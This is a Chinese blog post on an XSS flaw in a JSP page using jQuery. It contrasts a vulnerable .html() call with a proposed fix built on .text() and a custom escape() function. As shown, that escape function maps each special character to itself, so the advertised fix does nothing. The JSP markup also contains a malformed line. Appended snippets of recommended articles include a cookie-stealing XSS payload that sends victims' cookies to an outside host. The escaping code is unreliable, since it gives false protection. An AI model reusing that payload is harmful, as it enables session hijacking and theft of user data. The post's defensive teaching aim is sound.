一个XSS攻击的例子
- jsp代码
<div id="getObjectUrlPanel" class="hide">
<form id="getObjectUrlForm" class="form-horizontal" >
<div class="row" style="margin-bottom: 0px;">
<div class="control-group span">
<label class="control-label" style="width: 60px;">
文件 :
</label>
<div class="controls">
<div class="contentLong">
<label class="control-label"
style="text-align: left;
width: 300px;" id="objectKey"></label>
</div>
</div>
</div>
</div>
<div class="row" style="margin-top:23px; height:70px;">
<div class="control-group span">
<label class="control-label" style="width:60px;">
地址 :
</label>
<div class="controls">
<div id="getObjectUrlDiv">
请输入链接有效时间: <input type="text"
id="timeOut" name="timeOut"
{required:true,regexp:/^[1-9]\d*$/}"
data-messages="{regexp:'只能为正整数!'}" />秒
<button id="getObjectUrl" type="button"
class="button button-small">
<i class="icon-search"></i>获取URL</button>
</div>
<div class="contentLong">
<a id="objectUrl" target="_blank"></a>
</div>
</div>
</div>
</div>
</form>
</div>
- 错误的js代码
1. 初始值
$('#objectKey').val('<script>alert(1)');
$('#objectKey').html('<script>alert(1)');
2. 获取值
$('#objectKey').val();
- 以上js带来的问题
- 如果使用html,那就可以不用.val(),获取值部分可以改为$(‘#objectKey’).html();
- 使用.html,没有做到防XSS,所有需主动显示到页面的字段,都应做好防XSS
- “文件”那一栏并不是input元素,而是span元素,不要使用.val,而应使用.text
- 改写建议
1. 初始值
$('#objectKey').text(escape('<script>alert(1)'));
2. 获取值
$('#objectKey').text();
3. escape方法
function escape(val) {
if (!val) {
return'';
}
var htmlEscapes = {
'&':'&',
'<':'<',
'>':'>',
'"':'"',
"'":''',
'/':'/'
};
var htmlEscaper = /[&<>"'\/]/g;
return ('' + val).replace(htmlEscaper, function(match) {
return htmlEscapes[match];
});
}
- 附
jQuery的html(),text()和val()区别1、.html()用为读取和修改元素的HTML标签
2、.text()用来读取或修改元素的纯文本内容 span div 元素
3、.val()用来读取或修改表单元素的value值 input 元素
相关推荐
简单让你了解xss攻击。 项目基于Asp.net 框架,VS2010下创建,C#语言
将 AntiSamy Xss 跨站脚本攻击过滤封装成 GoogleAppEngine(GAE)WebService。 没开发过GAE WebService的同学可以作为一个在 GAE 上开发 WebService 的例子参考。
国内不少论坛都存在跨站脚本漏洞,国外也很多这样的例子。跨站攻击很容易就可以构造,而且非常隐蔽,不易被查觉(通常盗取信息后马上跳转回原页面)。在此主要谈谈如何防范。首先,跨站脚本攻击都是由于对用户的输入...
国内不少论坛都存在跨站脚本漏洞,例如这里 有一个Google Hack+XSS的攻击例子,针对的是Discuz 4.0.0RC3。国外也很多这样的例子,甚至Google也出现过,不过在12月初时修正了。跨站攻击很容易就可以构造,而且...
跨站点脚本 (XSS) 漏洞... 我们演示的步骤是:设置一个易受攻击的应用程序,然后协调针对它的攻击(代表目标用户执行操作;窃取私人信息;在浏览器中的 Man in the Browser 攻击中破坏目标浏览器)。 你会在这里找到:
这个存储库只是一个例子,如何通过 xss 获取 cookie 以用于教育目的。 免责声明 我对您的行为不承担任何责任。 此处提供的代码仅用于教育目的。 如果您发现一个带有代码注入漏洞的网站,请通知他们。 怎么跑 简单地...
ESAPI入门使用例子,防XSS攻击,防SQL注入,过滤等等。
努力用极其简单的例子来解释攻击,以便它给出一个清晰的脆弱性图景。 它涵盖了哪些所有攻击? 基于DOM的XSS 本地文件包含 参数篡改 反射型 XSS 远程代码执行 远程文件包含 未经验证的重定向和转发 我可以为这个...
软件安全概述+xss攻击入门 [作业:xss复现] 软件安全 三大问题 有什么安全问题,安全问题产生的原因 二进制方面 内存相关问题 有明确的机制 例子:缓冲区溢出,空指针,格式化字符串 逻辑错误问题 多种多样 Web方面 ...
一个很典型的xss攻击语句如下: xss exp: url=document.top.location.href; cookie=[removed]; c=new Image(); c.src='http://www.loveshell.net/c.php?c='+cookie+'&u='+url; 一些应用程序考虑到这个问题...
下面就以一个防止跨站攻击例子来说明,希望对各位有帮助。 复制代码 代码如下:<?php #demo for prevent csrf /** * enc */ function encrypt($token_time) { return md5(‘!@##$@$$#C’ . $token_time); } $token...
只需为模板传递一个 CSS 选择器,然后传递一个带有值的对象。 (模板在第一次使用后缓存) var $el = $ . template ( '#player' , { team : 'green' , image : 'images/green.jpg' , name : 'Gillian Green' } ...
本文讲述了YII Framework框架的安全方案。分享给大家供大家参考,具体如下: web应用的安全问题是很重要的,在“黑客”盛行的年代,你的网站可能明天都... 举个例子,一个未经良好设计的论坛系统可能不经检查就显示用户
然而,事情都有两面性,大多数web应用的安全措施都是基于传统的HTML,没有覆盖到HTML5的新特性,下面来看看由于HTML5新特性而带来的安全隐患:XSS(跨站脚本攻击)这里不想全面介绍,这是web安全中最基础的一个问题...
React令牌验证npm install react-token-auth 动机react-token-auth是一个小型库,用于在auth流程中管理令牌。 它不能解决所有可能的用例,但可以帮助解决最常见的用例之一:当拥有accessToken和refreshToken ,您...
通过本书和示例中所用的免费工具,你可以将安全因素加入到你的测试套装中,从而得以睡个安稳觉。 作者简介 Paco Hope,是Cigital公司的一名技术经理,《Mastering FreeBsD and 0penBsDsecurity》 (由O’Reilly...